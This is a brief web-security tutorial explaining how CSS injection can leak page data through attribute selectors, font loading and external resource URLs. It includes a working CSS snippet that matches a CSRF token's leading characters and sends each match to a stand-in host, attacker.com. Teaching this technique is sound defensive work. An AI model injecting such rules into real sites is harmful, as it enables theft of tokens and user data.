CSS Injection and Exfiltration
What you'll learn: How attackers exploit CSS injection to leak sensitive data from web pages using attribute selectors and external resource loading.
What is CSS Injection?
While CSS doesn't execute JavaScript like XSS, it's not harmless. When user input influences CSS code without proper sanitization, attackers can inject malicious styles that read and exfiltrate sensitive data from the page. Think of CSS as a one-way spy camera—it can't modify data, but it can observe and report what it sees.
How CSS Exfiltration Works
CSS provides surprising ways to steal information:
Attribute Selectors as Scanners:
CSS attribute selectors can target elements based on their attribute values. An attacker can inject rules that load a background image when specific values match:
input[name="csrf"][value^="a"] {
background: url(https://attacker.com/leak?char=a);
}
input[name="csrf"][value^="b"] {
background: url(https://attacker.com/leak?char=b);
}
The browser sends a request to the attacker's server when the CSRF token starts with "a", "b", etc., leaking it character-by-character.
Font-Based Exfiltration:
Injecting @font-face rules that load different fonts based on Unicode ranges can reveal which characters appear in the page.
Import and URL Loading:
Any CSS property that triggers external resource loading (background-image, @import, list-style-image) becomes an exfiltration channel when combined with selectors.
Why This Matters
CSS injection often slips past XSS filters because it doesn't use script tags or JavaScript. Yet it can steal tokens, passwords (if visible in forms), and user data displayed on the page.
Key Takeaway:
CSS injection exploits styling features to exfiltrate sensitive data through attribute selectors and external resource requests—proving that content injection isn't just about JavaScript execution.